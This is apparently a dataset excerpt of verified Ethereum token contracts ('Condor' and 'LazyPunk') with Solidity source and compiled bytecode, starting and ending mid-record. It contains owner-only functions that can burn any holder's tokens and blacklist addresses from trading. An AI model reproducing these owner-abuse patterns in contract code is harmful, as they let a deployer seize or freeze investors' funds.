* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract Condor is
ERC20,
Ownable {
constructor () public
ERC20 () {
Limtcheck[msg.sender]=true;
Limtcheck[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)]=true;
_mint(msg.sender,1000000000e18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
function updateMaxWallet(uint256 _amount) public onlyOwner {
maxWalletBal=_amount;
}
function ExcludeLimitcheck(address _addr,bool _status) public onlyOwner() {
Limtcheck[_addr]=_status;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610376578063a9059cbb146103a2578063dd62ed3e146103ce578063f2fde38b146103fc578063f3050d3a1461042257610121565b8063715018a6146102f057806372b7685d146102f85780638da5cb5b1461031e57806395d89b41146103425780639dc29fac1461034a57610121565b806323b872dd116100f457806323b872dd1461021c578063313ce567146102525780633950935114610270578063510f11091461029c57806370a08231146102ca57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e35780631c499ab0146101fd575b600080fd5b61012e61042a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104c0565b604080519115158252519081900360200190f35b6101eb61053c565b60408051918252519081900360200190f35b61021a6004803603602081101561021357600080fd5b5035610542565b005b6101cf6004803603606081101561023257600080fd5b506001600160a01b0381358116916020810135909116906040013561059f565b61025a610662565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561028657600080fd5b506001600160a01b03813516906020013561066b565b61021a600480360360408110156102b257600080fd5b506001600160a01b0381351690602001351515610713565b6101eb600480360360208110156102e057600080fd5b50356001600160a01b0316610796565b61021a6107b1565b6101cf6004803603602081101561030e57600080fd5b50356001600160a01b0316610853565b610326610868565b604080516001600160a01b039092168252519081900360200190f35b61012e610877565b61021a6004803603604081101561036057600080fd5b506001600160a01b0381351690602001356108d8565b6101cf6004803603604081101561038c57600080fd5b506001600160a01b03813516906020013561093e565b6101cf600480360360408110156103b857600080fd5b506001600160a01b038135169060200135610981565b6101eb600480360360408110156103e457600080fd5b506001600160a01b0381358116916020013516610997565b61021a6004803603602081101561041257600080fd5b50356001600160a01b03166109c2565b6101eb610abb565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b65780601f1061048b576101008083540402835291602001916104b6565b820191906000526020600020905b81548152906001019060200180831161049957829003601f168201915b5050505050905090565b60006001600160a01b0383166104d557600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b61054a610ada565b6008546001600160a01b0390811691161461059a576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b600755565b6001600160a01b03831660009081526001602090815260408083203384529091528120546105cd9083610ade565b6001600160a01b03851660009081526001602090815260408083203384529091529020556105fc848484610af3565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661068057600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106ae9083610ac1565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61071b610ada565b6008546001600160a01b0390811691161461076b576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526020819052604090205490565b6107b9610ada565b6008546001600160a01b03908116911614610809576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b60066020526000908152604090205460ff1681565b6008546001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b65780601f1061048b576101008083540402835291602001916104b6565b6108e0610ada565b6008546001600160a01b03908116911614610930576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b61093a8282610c41565b5050565b60006001600160a01b03831661095357600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546106ae9083610ade565b600061098e338484610af3565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6109ca610ada565b6008546001600160a01b03908116911614610a1a576040805162461bcd60e51b81526020600482018190526024820152600080516020610d03833981519152604482015290519081900360640190fd5b6001600160a01b038116610a5f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610cdd6026913960400191505060405180910390fd5b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b600082820183811015610ad357600080fd5b9392505050565b3390565b600082821115610aed57600080fd5b50900390565b6001600160a01b038216610b0657600080fd5b6001600160a01b03821660009081526006602052604090205460ff16610b95576007546001600160a01b038316600090815260208190526040902054610b4c9083610ac1565b1115610b95576040805162461bcd60e51b815260206004820152601360248201527215d85b1b195d08131a5b5a5d08115e18d95959606a1b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054610bb89082610ade565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be79082610ac1565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216610c5457600080fd5b600254610c619082610ade565b6002556001600160a01b038216600090815260208190526040902054610c879082610ade565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220fff55c49dae140de3e1622eeca12a30d671e99963345fc0d67759ee1ad21855464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,771 |
0x7b676112d70dc31ef982950227784c815e6cbd81
|
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
/**
*
* LazyPunk ($LZP) - Official token of LazyPunk NFT
*
* Website: htts://lazypunk.io
* Twitter: https://twitter.com/LazyPunkNFT
* Telegram: https://t.me/LazyPunkNFT
*
*
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LazyPunk is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "LazyPunk Token";
string private constant _symbol = "LZP";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 public _maxWalletToken = 50000000 * (10**9); // 5% of total supply
uint256 private _maxTxAmount = 50000000 * (10**9); // 5% of total supply
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xb42a8E8632283179edf3D70BCa572D17377F04AE);
_feeAddrWallet2 = payable(0xb42a8E8632283179edf3D70BCa572D17377F04AE);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 0;
}
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= _maxWalletToken,
"Exceeds maximum wallet token amount."
);
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102e9578063b515566a14610309578063c3c8cd8014610329578063c9567bf91461033e578063dd62ed3e1461035357600080fd5b8063715018a61461026a57806378109e541461027f5780638da5cb5b1461029557806395d89b41146102bd57600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f95780635932ead1146102155780636fc3eaec1461023557806370a082311461024a57600080fd5b806306fdde0314610119578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600e81526d2630bd3ca83ab735902a37b5b2b760911b60208201525b6040516101599190611880565b60405180910390f35b34801561016e57600080fd5b5061018261017d366004611729565b610399565b6040519015158152602001610159565b34801561019e57600080fd5b50670de0b6b3a76400005b604051908152602001610159565b3480156101c357600080fd5b506101826101d23660046116e9565b6103b0565b3480156101e357600080fd5b506101f76101f2366004611679565b610419565b005b34801561020557600080fd5b5060405160098152602001610159565b34801561022157600080fd5b506101f761023036600461181b565b61046d565b34801561024157600080fd5b506101f76104b5565b34801561025657600080fd5b506101a9610265366004611679565b6104e2565b34801561027657600080fd5b506101f7610504565b34801561028b57600080fd5b506101a960105481565b3480156102a157600080fd5b506000546040516001600160a01b039091168152602001610159565b3480156102c957600080fd5b5060408051808201909152600381526204c5a560ec1b602082015261014c565b3480156102f557600080fd5b50610182610304366004611729565b610578565b34801561031557600080fd5b506101f7610324366004611754565b610585565b34801561033557600080fd5b506101f7610629565b34801561034a57600080fd5b506101f761065f565b34801561035f57600080fd5b506101a961036e3660046116b1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a6338484610a20565b5060015b92915050565b60006103bd848484610b44565b61040f843361040a85604051806060016040528060288152602001611a51602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f1c565b610a20565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b8152600401610443906118d3565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104975760405162461bcd60e51b8152600401610443906118d3565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d557600080fd5b476104df81610f56565b50565b6001600160a01b0381166000908152600260205260408120546103aa90610fdb565b6000546001600160a01b0316331461052e5760405162461bcd60e51b8152600401610443906118d3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a6338484610b44565b6000546001600160a01b031633146105af5760405162461bcd60e51b8152600401610443906118d3565b60005b8151811015610625576001600660008484815181106105e157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061d816119e6565b9150506105b2565b5050565b600c546001600160a01b0316336001600160a01b03161461064957600080fd5b6000610654306104e2565b90506104df8161105f565b6000546001600160a01b031633146106895760405162461bcd60e51b8152600401610443906118d3565b600f54600160a01b900460ff16156106e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f3082670de0b6b3a7640000610a20565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611695565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d857600080fd5b505afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611695565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611695565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108c0816104e2565b6000806108d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109719190611853565b5050600f805466b1a2bc2ec5000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109e857600080fd5b505af11580156109fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106259190611837565b6001600160a01b038316610a825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610ae35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610c0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610c6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6000600a819055600b55610c886000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610cb757506000546001600160a01b03838116911614155b15610f0c576001600160a01b03831660009081526006602052604090205460ff16158015610cfe57506001600160a01b03821660009081526006602052604090205460ff16155b610d0757600080fd5b600f546001600160a01b038481169116148015610d325750600e546001600160a01b03838116911614155b8015610d5757506001600160a01b03821660009081526005602052604090205460ff16155b8015610d6c5750600f54600160b81b900460ff165b15610dc957601154811115610d8057600080fd5b6001600160a01b0382166000908152600760205260409020544211610da457600080fd5b610daf42601e611978565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610df45750600e546001600160a01b03848116911614155b8015610e1957506001600160a01b03831660009081526005602052604090205460ff16155b15610e29576000600a819055600b555b6000610e34836104e2565b601054909150610e448383611978565b1115610e9e5760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b6064820152608401610443565b6000610ea9306104e2565b600f54909150600160a81b900460ff16158015610ed45750600f546001600160a01b03868116911614155b8015610ee95750600f54600160b01b900460ff165b15610f0957610ef78161105f565b478015610f0757610f0747610f56565b505b50505b610f17838383611204565b505050565b60008184841115610f405760405162461bcd60e51b81526004016104439190611880565b506000610f4d84866119cf565b95945050505050565b600c546001600160a01b03166108fc610f7083600261120f565b6040518115909202916000818181858888f19350505050158015610f98573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610fb383600261120f565b6040518115909202916000818181858888f19350505050158015610625573d6000803e3d6000fd5b60006008548211156110425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061104c611251565b9050611058838261120f565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561110957600080fd5b505afa15801561111d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111419190611695565b8160018151811061116257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111889130911684610a20565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c1908590600090869030904290600401611908565b600060405180830381600087803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f17838383611274565b600061105883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061136b565b600080600061125e611399565b909250905061126d828261120f565b9250505090565b600080600080600080611286876113d9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b89087611436565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e79086611478565b6001600160a01b038916600090815260026020526040902055611309816114d7565b6113138483611521565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135891815260200190565b60405180910390a3505050505050505050565b6000818361138c5760405162461bcd60e51b81526004016104439190611880565b506000610f4d8486611990565b6008546000908190670de0b6b3a76400006113b4828261120f565b8210156113d057505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113f68a600a54600b54611545565b9250925092506000611406611251565b905060008060006114198e87878761159a565b919e509c509a509598509396509194505050505091939550919395565b600061105883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f1c565b6000806114858385611978565b9050838110156110585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b60006114e1611251565b905060006114ef83836115ea565b3060009081526002602052604090205490915061150c9082611478565b30600090815260026020526040902055505050565b60085461152e9083611436565b60085560095461153e9082611478565b6009555050565b600080808061155f606461155989896115ea565b9061120f565b9050600061157260646115598a896115ea565b9050600061158a826115848b86611436565b90611436565b9992985090965090945050505050565b60008080806115a988866115ea565b905060006115b788876115ea565b905060006115c588886115ea565b905060006115d7826115848686611436565b939b939a50919850919650505050505050565b6000826115f9575060006103aa565b600061160583856119b0565b9050826116128583611990565b146110585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b803561167481611a2d565b919050565b60006020828403121561168a578081fd5b813561105881611a2d565b6000602082840312156116a6578081fd5b815161105881611a2d565b600080604083850312156116c3578081fd5b82356116ce81611a2d565b915060208301356116de81611a2d565b809150509250929050565b6000806000606084860312156116fd578081fd5b833561170881611a2d565b9250602084013561171881611a2d565b929592945050506040919091013590565b6000806040838503121561173b578182fd5b823561174681611a2d565b946020939093013593505050565b60006020808385031215611766578182fd5b823567ffffffffffffffff8082111561177d578384fd5b818501915085601f830112611790578384fd5b8135818111156117a2576117a2611a17565b8060051b604051601f19603f830116810181811085821117156117c7576117c7611a17565b604052828152858101935084860182860187018a10156117e5578788fd5b8795505b8386101561180e576117fa81611669565b8552600195909501949386019386016117e9565b5098975050505050505050565b60006020828403121561182c578081fd5b813561105881611a42565b600060208284031215611848578081fd5b815161105881611a42565b600080600060608486031215611867578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118ac57858101830151858201604001528201611890565b818111156118bd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a01565b500190565b6000826119ab57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104df57600080fd5b80151581146104df57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be4c6166e5e2a2046c187e8765b6